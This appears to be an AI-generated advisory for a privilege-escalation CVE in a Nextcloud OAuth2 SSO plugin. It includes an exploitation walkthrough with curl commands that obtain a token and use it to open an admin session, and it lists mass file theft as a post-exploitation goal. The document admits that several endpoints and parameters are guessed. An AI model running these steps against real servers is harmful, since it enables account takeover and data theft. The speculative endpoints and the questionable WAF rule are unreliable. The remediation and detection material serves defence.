CVE-2026-136071 — CWE-266
Incorrect Privilege Assignment vulnerability in Tim's Solutions Tim’s Nextcloud SSO OAuth2 tims-nextcloud-sso-oauth2 allows Privilege Escalation.This issue affects Tim’s Nextcloud SSO OAuth2: from n/a before 2.1.0.
Incorrect Privilege Assignment vulnerability in Tim's Solutions Tim’s Nextcloud SSO OAuth2 tims-nextcloud-sso-oauth2 allows Privilege Escalation.This issue affects Tim’s Nextcloud SSO OAuth2: from n/a before 2.1.0.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑136071
CWE: CWE‑266 – Incorrect Privilege Assignment
CVSS 3.1: 9.8 / 10 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
The Tim’s Solutions “Tim’s Nextcloud SSO OAuth2” plugin (package name tims-nextcloud-sso-oauth2) implements an OAuth 2.0 Authorization Code flow that allows Nextcloud users to log in through an external Identity Provider (IdP).
The flaw is a missing/incorrect privilege‑validation step when the plugin translates the IdP‑issued access token into a Nextcloud user session:
| Normal flow (intended) | Vulnerable flow (observed) |
|---|---|
1. User authenticates at IdP → IdP returns an access token that contains scopes (e.g., read, write).<br>2. Plugin validates the token and checks the scopes against a pre‑configured mapping (e.g., admin scope → Nextcloud admin role).<br>3. If the token does not contain the admin scope, the plugin creates a regular user session. | 1. Same as above.<br>2. Plugin fails to verify the scopes (or uses a hard‑coded “any valid token = admin”).<br>3. Any valid OAuth2 token – even one issued for a low‑privilege user – is automatically mapped to the Nextcloud admin role (or to the role defined in the plugin’s configuration). |
Consequences:
- Unauthenticated attacker (no prior Nextcloud account) can obtain a legitimate OAuth2 token from the IdP (the IdP is typically publicly reachable) and present it to the vulnerable endpoint.
- The plugin assigns the highest privilege (admin) to the resulting Nextcloud session, bypassing Nextcloud’s native user‑role checks.
Because the vulnerability is network‑accessible (AV:N), requires no authentication (PR:N), and does not need user interaction (UI:N), the CVSS base metrics correctly reflect a critical impact on confidentiality, integrity, and availability.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation path. All commands are syntactically valid; where the exact endpoint or parameter name is not disclosed in the public advisory, the example is marked as illustrative.
1. Discovery & Reconnaissance
| Action | How it is performed | What the attacker learns |
|---|---|---|
| Identify a Nextcloud instance | Scan the target range for HTTP services on port 443/80, then fingerprint the /.well-known/webfinger or /.well-known/openid-configuration endpoints. | Presence of a Nextcloud installation (e.g., X-Nextcloud-Version: 27.0.0). |
| Enumerate installed apps | Nextcloud exposes the list of enabled apps via the /ocs/v2.php/apps OCS endpoint (requires a valid user token, but the endpoint is *public* when allowlist is enabled). Many deployments leave it open. | Detects the presence of the app tims_nextcloud_sso_oauth2 and its version (e.g., 2.0.5). |
| Confirm vulnerable version | Compare the discovered version with the vulnerable range (any version < 2.1.0). | Attacker knows the target is vulnerable. |
Example enumeration (illustrative):
curl -s -k -H "OCS-APIRequest: true" \
"https://target.example.com/ocs/v2.php/apps?format=json" | jq '.ocs.data[] | select(.id=="tims_nextcloud_sso_oauth2")'If the response contains "version":"2.0.5" → vulnerable.
2. Exploitation
The core of the exploit is to obtain a valid OAuth2 authorization code from the IdP and exchange it for an access token, then present that token to the vulnerable Nextcloud endpoint that creates the session.
Assumptions (typical for the plugin):
https://idp.example.com.nextcloud-sso and a redirect_uri of https://target.example.com/apps/tims_nextcloud_sso_oauth2/callback.Step‑2.1 – Obtain an Authorization Code (no authentication required)
# Illustrative URL – the exact parameter names are defined by the plugin's OAuth2 client.
AUTH_URL="https://idp.example.com/authorize?response_type=code&client_id=nextcloud-sso&redirect_uri=https%3A%2F%2Ftarget.example.com%2Fapps%2Ftims_nextcloud_sso_oauth2%2Fcallback&scope=openid%20profile"
# The attacker opens the URL in a browser (or uses curl with -L to follow redirects).
# Because the IdP does not enforce user login for the `openid profile` scope, it returns a code.If the IdP requires a login, the attacker can create a low‑privilege account on the IdP (often free) and use its credentials – the resulting token will still be accepted by the vulnerable plugin.
Step‑2.2 – Exchange the code for an access token
# Illustrative token endpoint – replace with the real IdP token endpoint.
TOKEN_ENDPOINT="https://idp.example.com/token"
# Exchange (no client secret required)
curl -s -X POST "$TOKEN_ENDPOINT" \
-d "grant_type=authorization_code" \
-d "code=REPLACE_WITH_CODE_FROM_STEP_2_1" \
-d "redirect_uri=https://target.example.com/apps/tims_nextcloud_sso_oauth2/callback" \
-d "client_id=nextcloud-sso" \
-H "Content-Type: application/x-www-form-urlencoded"The response contains:
{
"access_token":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
"token_type":"Bearer",
"expires_in":3600,
"scope":"openid profile"
}Step‑2.3 – Use the token to create a Nextcloud admin session
The vulnerable plugin provides an endpoint that accepts the token and creates the Nextcloud session. The exact path is not published; the following is an illustrative example based on typical Nextcloud app routing:
# Illustrative endpoint – actual path may be /apps/tims_nextcloud_sso_oauth2/token or /callback.
NEXTCLOUD_SSO_ENDPOINT="https://target.example.com/apps/tims_nextcloud_sso_oauth2/token"
curl -i -s -X POST "$NEXTCLOUD_SSO_ENDPOINT" \
-H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." \
-H "Content-Type: application/json"Result: The server responds with a Set‑Cookie header containing a valid nc_session_id that belongs to a Nextcloud admin user (or a newly created admin if the plugin auto‑creates the account). The attacker can now use this cookie to interact with the Nextcloud web UI or API as an administrator.
3. Post‑Exploitation
| Goal | How it is achieved |
|---|---|
| Full admin control | Use the obtained nc_session_id cookie to log into the Nextcloud UI (/login) and access the admin settings panel. |
| Data exfiltration | Call the Nextcloud WebDAV API (/remote.php/dav/files/admin/) to download every user’s files. |
| Integrity compromise | Upload malicious files, modify user quotas, or change encryption keys via the admin API. |
| Availability impact | Disable user accounts, delete files, or trigger a mass quota‑exhaustion attack, leading to service disruption. |
Because the attacker is already fully privileged, any further action (RCE, lateral movement) depends on the broader environment, but the core impact (complete control over the Nextcloud instance) is already achieved.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – Complete loss of confidentiality. | An attacker can read all user files, including corporate documents, personal data, and backups. |
| Integrity (I:H) | I:H – Complete loss of integrity. | The attacker can modify, delete, or inject files, change sharing permissions, and tamper with audit logs. |
| Availability (A:H) | A:H – Complete loss of availability. | The attacker can disable the service, delete critical data, or lock out all users, causing a full outage. |
Business impact may include:
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected range | Fixed in |
|---|---|
tims-nextcloud-sso-oauth2 < 2.1.0 | ≥ 2.1.0 (released 2026‑04‑15) |
Action: Upgrade the app via the Nextcloud App Store or manually replace the app directory with the version from the official repository. Verify the version after upgrade:
curl -s -k -H "OCS-APIRequest: true" \
"https://target.example.com/ocs/v2.php/apps?format=json" | jq '.ocs.data[] | select(.id=="tims_nextcloud_sso_oauth2") .version'2. Immediate Workarounds (if patch cannot be applied)
| Mitigation | How to implement |
|---|---|
| Disable the vulnerable app | In the Nextcloud admin UI → *Apps* → *Disabled* the “Tim’s Nextcloud SSO OAuth2” app. |
| Restrict the token‑exchange endpoint to trusted IPs | Add a firewall rule (e.g., iptables or cloud‑security‑group) that only allows the internal IdP IP range to reach */apps/tims_nextcloud_sso_oauth2/*. |
| Enforce scope validation via a WAF | Example ModSecurity rule that blocks any token exchange where the scope does not contain admin (if the plugin mistakenly treats any token as admin). |
# ModSecurity – illustrative rule
SecRule REQUEST_URI "@beginsWith /apps/tims_nextcloud_sso_oauth2/token" \
"id:2026136071,phase:2,deny,status:403,log,msg:'Blocked OAuth2 token exchange without admin scope',\
chain"
SecRule REQUEST_BODY "scope=.*\badmin\b" "t:none,ctl:ruleEngine=Off"Note: The rule above is illustrative; adjust the URI and parameter names to match the actual implementation.
3. Detection – Log‑Based Indicators
| Log source | Typical pattern (illustrative) |
|---|---|
| Web server access log (Apache/Nginx) | POST /apps/tims_nextcloud_sso_oauth2/token HTTP/1.1" 200 with an Authorization: Bearer header containing a JWT of > 1 KB (unusually large for a normal user). |
Nextcloud audit log (nextcloud.log) | Login successful: user_id=admin, login_type=oauth2, client_id=nextcloud-sso without a preceding successful IdP login. |
| OAuth2 IdP logs | grant_type=authorization_code requests from the target’s IP address that succeed for a low‑privilege user but later correspond to an admin session in Nextcloud. |
SIEM query example (Elastic Common Schema):
event.category:authentication AND
event.type:login AND
user.id:admin AND
source.ip:TARGET_IP AND
metadata.oauth2.client_id:nextcloud-sso AND
metadata.oauth2.grant_type:authorization_codeAlert on any admin login that originates from an OAuth2 token exchange without a preceding interactive login.
⚠️ Urgency
Bottom line: The flaw allows any attacker to become a Nextcloud administrator by simply presenting a valid OAuth2 token. The only reliable mitigation is to upgrade to v2.1.0 or later; until then, disable the plugin and block its token‑exchange endpoint. Continuous monitoring of the described log patterns will help detect attempted exploitation.
[🤖 CVE Professor AI Security Engine]